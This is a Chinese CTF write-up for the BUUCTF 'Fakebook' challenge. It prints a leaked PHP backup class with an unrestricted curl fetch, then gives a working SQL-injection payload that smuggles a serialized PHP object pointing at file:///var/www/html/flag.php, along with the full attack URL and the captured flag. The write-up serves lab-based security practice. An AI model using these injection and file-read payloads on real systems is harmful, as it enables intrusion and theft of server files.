【BUUCTF】[網鼎杯 2018]Fakebook

在這裏插入圖片描述
在這裏插入圖片描述

訪問robots.txt
在這裏插入圖片描述

或工具掃描,發現有/user.php.bak
下載下來

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

join,隨便創建一個用戶,發現退不回去了

在這裏插入圖片描述
點創建的用戶名進去

在這裏插入圖片描述

上playload:

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

http://3efa52c1-7373-4c74-9be2-ffb648fe77db.node3.buuoj.cn/view.php?no=-1//union//select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:4:%22test%22;s:3:%22age%22;i:123;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27
在這裏插入圖片描述右鍵查看源碼,43行,iframe標籤![在這裏插入圖片描述](https://img-blog.csdnimg.cn/20200506141126684.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3ZhbmFycm93,size_16,color_FFFFFF,t_70
藍色標記的base64解碼
在這裏插入圖片描述
或者直接點開
在這裏插入圖片描述Chrome可以直接看
在這裏插入圖片描述

flag{38f131ee-1697-43ea-a41c-7c9a56f0dc68}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章